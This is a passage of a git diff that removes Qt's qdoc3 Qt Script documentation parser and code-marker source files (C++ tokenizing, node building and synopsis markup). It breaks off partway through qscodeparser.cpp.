-****************************************************************************/ - -#include <qfile.h> - -#include "qsakernelparser.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -QsaKernelParser::QsaKernelParser( Tree *cppTree ) - : cppTre( cppTree ) -{ -} - -QsaKernelParser::~QsaKernelParser() -{ -} - -QString QsaKernelParser::language() -{ - return "QSA Kernel C++"; -} - -QString QsaKernelParser::sourceFileNameFilter() -{ - return "*.cpp"; -} - -void QsaKernelParser::parseSourceFile( const Location& location, - const QString& filePath, - Tree * /* tree */ ) -{ - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error( tr("Cannot open QSA kernel file '%1'").arg(filePath) ); - return; - } - - Location fileLocation( filePath ); - Tokenizer fileTokenizer( fileLocation, in ); - tokenizer = &fileTokenizer; - readToken(); - - QString ident; - QString className; - int delimDepth = 0; - - while ( tok != Tok_Eoi ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - readToken(); - if ( tok == Tok_Gulbrandsen && tokenizer->braceDepth() == 0 && - tokenizer->parenDepth() == 0 ) { - className = ident; - } else if ( ident.startsWith("add") && ident.endsWith("Member") && - tok == Tok_LeftParen ) { - bool isProperty = ident.endsWith( "VariableMember" ); - bool isStatic = ident.startsWith( "addStatic" ); - bool isWritable = !isStatic; - - readToken(); - if ( tok == Tok_String ) { - QString member = tokenizer->lexeme(); - member = member.mid( 1, member.length() - 2 ); - - readToken(); - if ( tok == Tok_Comma ) - readToken(); - if ( tok == Tok_Ident && tokenizer->lexeme() == "QSMember" ) - readToken(); - if ( tok == Tok_LeftParen ) { - delimDepth++; - readToken(); - } - - while ( tok != Tok_Eoi && tok != Tok_RightParen && - tok != Tok_Semicolon ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - if ( ident == "Custom" ) { - isProperty = true; - } else if ( ident == "AttributeNonWritable" ) { - isWritable = false; - } else if ( ident == "AttributeStatic" ) { - isStatic = true; - } - } - readToken(); - } - - ClassNode *classe = - (ClassNode *) cppTre->findNode( QStringList(className), - Node::Class ); - if ( classe == 0 ) { - classe = new ClassNode( cppTre->root(), className ); - classe->setLocation( tokenizer->location() ); - } - - if ( isProperty ) { - PropertyNode *property = new PropertyNode(classe, member); - property->setLocation( tokenizer->location() ); - property->setDataType( "Object" ); -#if 0 - property->setGetter( member ); - if ( isWritable ) { - QString setter = member; - setter[0] = setter[0].toUpper(); - setter.prepend( "set" ); - property->setSetter( setter ); - } -#endif - } else { - FunctionNode *func = new FunctionNode( classe, member ); - func->setLocation( tokenizer->location() ); - func->setAccess( FunctionNode::Public ); - func->setMetaness( FunctionNode::Slot ); - if ( member == "toLocaleString" || - member == "toString" ) { - func->setReturnType( "QString" ); - } else if ( member == "valueOf" ) { - func->setReturnType( "Object" ); - } else { - func->setReturnType( "Object" ); - func->addParameter( Parameter("...") ); - } - func->setStatic( false ); // ### - } - } - } - } else { - readToken(); - } - } - in.close(); -} - -void QsaKernelParser::doneParsingSourceFiles( Tree * /* tree */ ) -{ -} - -void QsaKernelParser::readToken() -{ - tok = tokenizer->getToken(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodemarker.cpp b/tools/qdoc3/qscodemarker.cpp deleted file mode 100644 index b53b676..0000000 --- a/tools/qdoc3/qscodemarker.cpp +++ /dev/null @@ -1,378 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.cpp -*/ - -#include "node.h" -#include "qscodemarker.h" - -QT_BEGIN_NAMESPACE - -QsCodeMarker::QsCodeMarker() -{ -} - -QsCodeMarker::~QsCodeMarker() -{ -} - -bool QsCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool QsCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "js" || ext == "qs"; -} - -bool QsCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "JavaScript" || lang == "Qt Script"; -} - -QString QsCodeMarker::plainName( const Node *node ) -{ - QString name = node->name(); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend("."); - } - return fullName; -} - -QString QsCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString QsCodeMarker::markedUpSynopsis( const Node *node, - const Node * /* relative */, - SynopsisStyle style ) -{ - QString synopsis; - QStringList extras; - QString name; - - name = taggedNode( node ); - if ( style != Detailed ) - name = linkTag( node, name ); - name = "<@name>" + name + "</@name>"; - - if ( style == Detailed && !node->parent()->name().isEmpty() && - node->type() != Node::Enum ) - name.prepend( taggedNode(node->parent()) + "." ); - - switch ( node->type() ) { - case Node::Class: - synopsis = "class " + name; - break; - case Node::Function: - { - const FunctionNode *func = (const FunctionNode *) node; - - synopsis = name; - - if ( style == SeparateList ) { - synopsis += "()"; - } else { - synopsis += " ("; - if ( !func->parameters().isEmpty() ) { - synopsis += " "; - int numOptional = 0; - QList<Parameter>::ConstIterator p = func->parameters().begin(); - while ( p != func->parameters().end() ) { - if ( !(*p).defaultValue().isEmpty() ) { - if ( p == func->parameters().begin() ) { - synopsis += "[ "; - } else { - synopsis += " [ , "; - } - numOptional++; - } else { - if ( p != func->parameters().begin() ) - synopsis += ", "; - } - if ( !(*p).name().isEmpty() ) - synopsis += "<@param>" + protect( (*p).name() ) + - "</@param> : "; - synopsis += protect( (*p).leftType() ); - ++p; - } - for ( int i = 0; i < numOptional; i++ ) - synopsis += " ]"; - synopsis += " "; - } - synopsis += ")"; - } - - if ( style != SeparateList && !func->returnType().isEmpty() ) - synopsis += " : " + protect( func->returnType() ); - - if ( style == Detailed && func->metaness() == FunctionNode::Signal ) - extras << "[signal]"; - } - break; - case Node::Property: - { - const PropertyNode *property = (const PropertyNode *) node; - - synopsis = name; - if ( style != SeparateList ) - synopsis += " : " + property->dataType(); - if ( style == Detailed && property->setters().isEmpty() ) - extras << "[read only]"; - } - break; - case Node::Enum: - { - /* - The letters A to F and X (upper- and lower-case) can - appear in a hexadecimal constant (e.g. 0x3F). - */ - QRegExp letterRegExp( "[G-WYZg-wyz_]" ); - const EnumNode *enume = (const EnumNode *) node; - - synopsis = name; - if ( style == Summary && !enume->items().isEmpty() ) { - synopsis += " : "; - QString comma; - QList<EnumItem>::ConstIterator it = enume->items().begin(); - while ( it != enume->items().end() ) { - if ( enume->itemAccess((*it).name()) == Node::Public ) { - synopsis += comma; - synopsis += (*it).name(); - if ( (*it).value().indexOf(letterRegExp) != -1 ) - synopsis += " = " + (*it).value(); - comma = ", "; - } - ++it; - } - } - } - break; - case Node::Namespace: - case Node::Typedef: - default: - synopsis = name; - } - - if ( style == Summary ) { - if ( node->status() == Node::Preliminary ) { - extras << "(preliminary)"; - } else if ( node->status() == Node::Deprecated ) { - extras << "(deprecated)"; - } else if ( node->status() == Node::Obsolete ) { - extras << "(obsolete)"; - } - } - - QString extra; - if ( !extras.isEmpty() ) - extra = "<@extra>" + extras.join(" ") + "</@extra>"; - return synopsis + extra; -} - -QString QsCodeMarker::markedUpName( const Node *node ) -{ - QString name = linkTag( node, taggedNode(node) ); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::markedUpFullName( const Node *node, - const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "<@op>.</@op>" ); - } - return fullName; -} - -QString QsCodeMarker::markedUpEnumValue(const QString & /* enumValue */, - const Node * /* relative */) -{ - return QString(); -} - -QString QsCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString QsCodeMarker::functionBeginRegExp( const QString& funcName ) -{ - return "^function[ \t].*\\b" + QRegExp::escape( funcName ); -} - -QString QsCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList<Section> QsCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status ) -{ - QList<Section> sections; - - if (inner->type() != Node::Class) - return sections; - - const ClassNode *classe = static_cast<const ClassNode *>(inner); - - if ( style == Summary ) { - FastSection enums(classe, "Enums", "", "enum", "enums"); - FastSection functions(classe, "Functions", "", "function", "functions"); - FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties"); - FastSection signalz(classe, "Signals", "", "signal", "signals"); - FastSection writableProperties(classe, "", "Writable Properties", "property", "properties"); - - QStack<const ClassNode *> stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - const FunctionNode *func = (const FunctionNode *) *c; - if ( func->metaness() == FunctionNode::Signal ) { - insert( signalz, *c, style, status ); - } else { - insert( functions, *c, style, status ); - } - } else if ( (*c)->type() == Node::Property ) { - const PropertyNode *property = - (const PropertyNode *) *c; - if ( property->setters().isEmpty() ) { - insert( readOnlyProperties, *c, style, status ); - } else { - insert( writableProperties, *c, style, status ); - } - } - } - ++c; - } - - QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, enums ); - append( sections, writableProperties ); - append( sections, readOnlyProperties ); - append( sections, functions ); - append( sections, signalz ); - } else if ( style == Detailed ) { - FastSection enums( classe, "Enum Documentation", "", "member", "members"); - FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members"); - FastSection properties( classe, "Property Documentation", "", "member", "members"); - - NodeList::ConstIterator c = classe->childNodes().begin(); - while ( c != classe->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - insert( functionsAndSignals, *c, style, status ); - } else if ( (*c)->type() == Node::Property ) { - insert( properties, *c, style, status ); - } - } - ++c; - } - append( sections, enums ); - append( sections, properties ); - append( sections, functionsAndSignals ); - } else { // ( style == SeparateList ) - FastSection all(classe, "", "", "member", "members"); - - QStack<const ClassNode *> stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) - insert( all, *c, style, status ); - ++c; - } - - QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, all ); - } - return sections; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodemarker.h b/tools/qdoc3/qscodemarker.h deleted file mode 100644 index a52ea0c..0000000 --- a/tools/qdoc3/qscodemarker.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.h -*/ - -#ifndef QSCODEMARKER_H -#define QSCODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class QsCodeMarker : public CodeMarker -{ -public: - QsCodeMarker(); - ~QsCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qscodeparser.cpp b/tools/qdoc3/qscodeparser.cpp deleted file mode 100644 index 65d0f97..0000000 --- a/tools/qdoc3/qscodeparser.cpp +++ /dev/null @@ -1,944 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.cpp -*/ - -#include <qfile.h> -#include <qregexp.h> - -#include "config.h" -#include "qscodeparser.h" -#include "text.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_REPLACES "replaces" - -#define COMMAND_BRIEF Doc::alias( "brief") -#define COMMAND_CODE Doc::alias( "code") -#define COMMAND_ENDCODE Doc::alias( "endcode") -#define COMMAND_ENDQUICKCODE Doc::alias( "endquickcode") -#define COMMAND_FILE Doc::alias( "file") -#define COMMAND_GROUP Doc::alias( "group") -#define COMMAND_MODULE Doc::alias( "module") -#define COMMAND_PAGE Doc::alias( "page") -#define COMMAND_QUICKCLASS Doc::alias( "quickclass") -#define COMMAND_QUICKCODE Doc::alias( "quickcode") -#define COMMAND_QUICKENUM Doc::alias( "quickenum") -#define COMMAND_QUICKFN Doc::alias( "quickfn") -#define COMMAND_QUICKIFY Doc::alias( "quickify") -#define COMMAND_QUICKPROPERTY Doc::alias( "quickproperty") -#define COMMAND_PROTECTED Doc::alias( "protected") -#define COMMAND_REPLACE Doc::alias( "replace") - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QsCodeParser::QsCodeParser(Tree *cppTree) - : cppTre(cppTree), qsTre(0), replaceRegExp("/(.+)/([^/]*)/") -{ -} - -QsCodeParser::~QsCodeParser() -{ -} - -void QsCodeParser::initializeParser(const Config& config) -{ - CppCodeParser::initializeParser(config); - - nodeTypeMap.insert(COMMAND_QUICKCLASS, Node::Class); - nodeTypeMap.insert(COMMAND_QUICKENUM, Node::Enum); - nodeTypeMap.insert(COMMAND_QUICKPROPERTY, Node::Property); - nodeTypeMap.insert(COMMAND_QUICKFN, Node::Function); - - QString quickDotReplaces = CONFIG_QUICK + Config::dot + CONFIG_REPLACES; - QStringList replaces = config.getStringList(quickDotReplaces); - QStringList::ConstIterator r = replaces.begin(); - while (r != replaces.end()) { - if (replaceRegExp.exactMatch(*r)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - replaceBefores << before; - replaceAfters << after; - } - else { - config.lastLocation().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - config.lastLocation().warning(tr("Bad syntax in '%1'") - .arg(quickDotReplaces)); - } - ++r; - } -} - -void QsCodeParser::terminateParser() -{ - nodeTypeMap.clear(); - classesWithNoQuickDoc.clear(); - replaceBefores.clear(); - replaceAfters.clear(); - CppCodeParser::terminateParser(); -} - -QString QsCodeParser::language() -{ - return "Qt Script"; -} - -QString QsCodeParser::headerFileNameFilter() -{ - return "*"; -} - -QString QsCodeParser::sourceFileNameFilter() -{ - return "*.qs *.qsd"; -} - -void QsCodeParser::parseHeaderFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error(tr("Cannot open Qt Script class list '%1'") - .arg(filePath)); - return; - } - - Location fileLocation(filePath); - Tokenizer fileTokenizer(fileLocation, in); - int tok = fileTokenizer.getToken(); - while (tok != Tok_Eoi) { - if (tok == Tok_Ident) { - ClassNode *quickClass = new ClassNode(qsTre->root(), - fileTokenizer.lexeme()); - quickClass->setLocation(fileTokenizer.location()); - } - else { - fileTokenizer.location().error(tr("Unexpected token '%1' in Qt" - " Script class list") - .arg(fileTokenizer.lexeme())); - break; - } - tok = fileTokenizer.getToken(); - } - in.close(); -} - -void QsCodeParser::parseSourceFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - CppCodeParser::parseSourceFile(location, filePath, tree); -} - -void QsCodeParser::doneParsingHeaderFiles(Tree *tree) -{ - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) - quickifyClass((ClassNode *) *c); - ++c; - } - cppTre->root()->deleteChildren(); // save memory - tree->resolveInheritance(); - tree->resolveProperties(); -} - -void QsCodeParser::doneParsingSourceFiles(Tree *tree) -{ - tree->root()->normalizeOverloads(); - - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) { - QMap<QString, Node *>::ConstIterator cwnqd = - classesWithNoQuickDoc.find((*c)->name()); - if (cwnqd != classesWithNoQuickDoc.end()) { - (*cwnqd)->location().warning(tr("No '\\%1' documentation for" - " class '%2'") - .arg(COMMAND_QUICKCLASS) - .arg(cwnqd.key())); - (*cwnqd)->setDoc(Doc(), true); - } - } - ++c; - } - - // ### check which enum types are used -} - -FunctionNode *QsCodeParser::findFunctionNode(const QString& synopsis, - Tree *tree) -{ - QStringList parentPath; - FunctionNode *clone; - FunctionNode *func = 0; - - if (makeFunctionNode(synopsis, &parentPath, &clone)) { - func = tree->findFunctionNode(parentPath, clone); - delete clone; - } - return func; -} - -QSet<QString> QsCodeParser::topicCommands() -{ - return QSet<QString>() << COMMAND_FILE << COMMAND_GROUP << COMMAND_MODULE - << COMMAND_PAGE << COMMAND_QUICKCLASS - << COMMAND_QUICKENUM << COMMAND_QUICKFN - << COMMAND_QUICKPROPERTY; -} - -Node *QsCodeParser::processTopicCommand(const Doc& doc, - const QString& command, - const QString& arg) -{ - if (command == COMMAND_QUICKFN) { - QStringList parentPath; - FunctionNode *quickFunc = 0; - FunctionNode *clone; - - if (makeFunctionNode(arg, &parentPath, &clone)) { - FunctionNode *kernelFunc = findKernelFunction(parentPath, - clone->name()); - if (kernelFunc != 0) - kernelFunc->setAccess(Node::Private); - - quickFunc = qsTre->findFunctionNode(parentPath, clone); - if (quickFunc == 0 && kernelFunc != 0) { - quickFunc = new FunctionNode(kernelFunc->parent(), - kernelFunc->name()); - quickFunc->setLocation(kernelFunc->location()); - quickFunc->setReturnType(clone->returnType()); - quickFunc->setParameters(clone->parameters()); - } - - if (quickFunc == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - quickFunc->setAccess(Node::Public); - QStringList qtParams = quickFunc->parameterNames(); - quickFunc->borrowParameterNames(clone); - QStringList quickParams = quickFunc->parameterNames(); - setQuickDoc(quickFunc, doc, qtParams, quickParams); - } - delete clone; - } - else { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - return 0; - } - else if (nodeTypeMap.contains(command)) { - QStringList subArgs = arg.split(" "); - QString dataType; - - if (subArgs.count() == 3 && subArgs[1] == ":") { - dataType = subArgs[2]; - } - else if (subArgs.count() != 1) { - doc.location().warning(tr("Invalid syntax in '\\%1'") - .arg(command)); - } - - QStringList path = subArgs[0].split("."); - Node *quickNode = qsTre->findNode(path, nodeTypeMap[command]); - if (quickNode == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - setQuickDoc(quickNode, doc); - if (quickNode->type() == Node::Class) { - classesWithNoQuickDoc.remove(quickNode->name()); - if (doc.briefText().isEmpty()) - doc.location().warning(tr("Missing '\\%1' for class '%2'") - .arg(COMMAND_BRIEF) - .arg(quickNode->name())); - } - else if (quickNode->type() == Node::Property) { - PropertyNode *quickProperty = (PropertyNode *) quickNode; - if (quickProperty->dataType() == "Object") { - if (dataType.isEmpty()) { - doc.location().warning(tr("Missing data type in '\\%1'" - " (assuming 'Object')") - .arg(command)); - } - else { - quickProperty->setDataType(dataType); - } - } - else if (dataType != quickProperty->dataType()) { - doc.location().warning(tr("Ignored contradictory data type" - " in '\\%1'") - .arg(command)); - } - } - } - return 0; - } - else { - return CppCodeParser::processTopicCommand(doc, command, arg); - } -} - -QSet<QString> QsCodeParser::otherMetaCommands() -{ - return commonMetaCommands() << COMMAND_ENDQUICKCODE << COMMAND_QUICKCODE - << COMMAND_QUICKIFY << COMMAND_REPLACE; -} - -void QsCodeParser::processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, - Node *node) -{ - if (command == COMMAND_PROTECTED) { - doc.location().warning(tr("Cannot use '\\%1' in %2") - .arg(COMMAND_PROTECTED).arg(language())); - } - else { - CppCodeParser::processOtherMetaCommand(doc,command,arg,node); - } -} - -ClassNode *QsCodeParser::tryClass(const QString& className) -{ - return (ClassNode*) cppTre->findNode(QStringList(className),Node::Class); -} - -FunctionNode *QsCodeParser::findKernelFunction(const QStringList& parentPath, - const QString& name) -{ - FunctionNode clone(0, name); - clone.setReturnType("Object"); - clone.addParameter(Parameter("...")); - return qsTre->findFunctionNode(parentPath, &clone); -} - -void QsCodeParser::extractRegExp(const QRegExp& regExp, - QString& source, - const Doc& doc) -{ - QRegExp blankLineRegExp( - "[ \t]*(?:\n(?:[ \t]*\n)+[ \t]*|[ \n\t]*\\\\code|" - "\\\\endcode[ \n\t]*)"); - QStringList paras = source.trimmed().split(blankLineRegExp); - paras = paras.filter(regExp); - if (paras.count() == 0) { - doc.location().warning(tr("Cannot find regular expression '%1'") - .arg(regExp.pattern())); - } - else if (paras.count() > 1) { - doc.location().warning(tr("Regular rexpression '%1' matches multiple" - "times").arg(regExp.pattern())); - } - else { - source = paras.first() + "\n\n"; - } -} - -void QsCodeParser::extractTarget(const QString& target, - QString& source, - const Doc& doc) -{ - QRegExp targetRegExp( - "(\\\\target\\s+(\\S+)[^\n]*\n" - "(?:(?!\\s*\\\\code)[^\n]+\n|\\s*\\\\code.*\\\\endcode\\s*\n)*)" - "(?:\\s*\n|[^\n]*$)"); - targetRegExp.setMinimal(true); - - int pos = 0; - while ((pos = source.indexOf(targetRegExp, pos)) != -1) { - if (targetRegExp.cap(2) == target) { - source = targetRegExp.cap(1) + "\n\n"; - return; - } - pos += targetRegExp.matchedLength(); - } - doc.location().warning(tr("Cannot find target '%1'").arg(target)); -} - -void QsCodeParser::renameParameters(QString& source, - const Doc& /* doc */, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp paramRegExp("(\\\\a\\s*\\{?\\s*)([A-Za-z0-9_]+)"); - - int pos = 0; - while ((pos = paramRegExp.indexIn(source, pos)) != -1) { - pos += paramRegExp.cap(1).length(); - QString before = paramRegExp.cap(2); - int index = qtParams.indexOf(before); - if (index != -1) { - QString after = quickParams[index]; - source.replace(pos, before.size(), after); - } - } -} - -void QsCodeParser::applyReplacementList(QString& source, const Doc& doc) -{ - QStringList args = doc.metaCommandArgs(COMMAND_REPLACE); - QStringList::ConstIterator a = args.begin(); - while (a != args.end()) { - if (replaceRegExp.exactMatch(*a)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - int oldLen = source.size(); - source.replace(before, after); - - // this condition is sufficient but not necessary - if (oldLen == source.size() && !source.contains(after)) - doc.location().warning( - tr("Regular expression '%1' did not match anything") - .arg(before.pattern())); - } - else { - doc.location().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - doc.location().warning(tr("Bad syntax in '\\%1'") - .arg(COMMAND_REPLACE)); - } - ++a; - } - - QRegExp codeRegExp("\\\\" + COMMAND_CODE + "(.*)\\\\" + COMMAND_ENDCODE); - codeRegExp.setMinimal(true); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - - int quickcodePos = doc.source().indexOf(quickcodeRegExp); - if (quickcodePos != -1) { - int codePos = source.indexOf(codeRegExp); - if (codePos == -1) { - doc.location().warning( - tr("Cannot find any '\\%1' snippet corresponding to '\\%2'") - .arg(COMMAND_CODE).arg(COMMAND_QUICKCODE)); - } - else { - source.replace(codeRegExp.pos(1), codeRegExp.cap(1).length(), - quickcodeRegExp.cap(1)); - codePos = codeRegExp.pos(1) + quickcodeRegExp.cap(1).length(); - - if (doc.source().indexOf(quickcodeRegExp, quickcodePos + 1) != -1) { - doc.location().warning( - tr("Cannot use '\\%1' twice in a row") - .arg(COMMAND_QUICKCODE)); - } - else if (source.indexOf(codeRegExp, codePos + 1) != -1) { - doc.location().warning(tr("Ambiguous '\\%1'") - .arg(COMMAND_QUICKCODE)); - } - } - } -} - -void QsCodeParser::quickifyClass(ClassNode *quickClass) -{ - QString qtClassName = quickClass->name(); - QString bare = quickClass->name(); - if (bare != "Qt" && bare != "Object") { - if (bare.startsWith("Q")) { - bare = bare.mid(1); - } - else { - qtClassName.prepend("Q"); - classesWithNoQ.insert(bare); - } - } - - ClassNode *qtClass = 0; - ClassNode *wrapperClass = 0; - - if ((wrapperClass = tryClass("Quick" + bare)) != 0 || - (wrapperClass = tryClass("QS" + bare + "Class")) != 0) { - qtClass = tryClass(qtClassName); - if (qtClass == 0) { - qtClass = wrapperClass; - wrapperClass = 0; - } - } - else if ((wrapperClass = tryClass("Quick" + bare + "Ptr")) != 0) { - QRegExp ptrToQtType("(Q[A-Za-z0-9_]+)\\s*\\*"); - FunctionNode *ctor = - wrapperClass->findFunctionNode(wrapperClass->name()); - if (ctor != 0 && !ctor->parameters().isEmpty() && - ptrToQtType.exactMatch(ctor->parameters().first().leftType())) - qtClassName = ptrToQtType.cap(1); - qtClass = tryClass(qtClassName); - } - else { - wrapperClass = tryClass("Q" + bare + "Ptr"); - if (wrapperClass == 0) - wrapperClass = tryClass("Quick" + bare + "Interface"); - qtClass = tryClass(qtClassName); - } - - if (qtClass == 0) { - if (wrapperClass == 0) { - quickClass->location().warning(tr("Cannot find Qt class '%1'") - .arg(qtClassName)); - } - else { - quickClass->location().warning(tr("Cannot find Qt class '%1'" - " wrapped by '%2'") - .arg(qtClassName) - .arg(wrapperClass->name())); - } - return; - } - - QList<RelatedClass>::ConstIterator r = qtClass->baseClasses().begin(); - while (r != qtClass->baseClasses().end()) { - ClassNode *quickBaseClass = cpp2qs.findClassNode(qsTre, - (*r).node->name()); - if (quickBaseClass) - quickClass->addBaseClass((*r).access, quickBaseClass); - ++r; - } - if (quickClass->baseClasses().isEmpty() && quickClass->name() != "Object") - quickClass->addBaseClass(Node::Public, - cpp2qs.findClassNode(qsTre,"Object")); - - QSet<QString> funcBlackList; - QSet<QString> propertyBlackList; - - NodeList children; - if 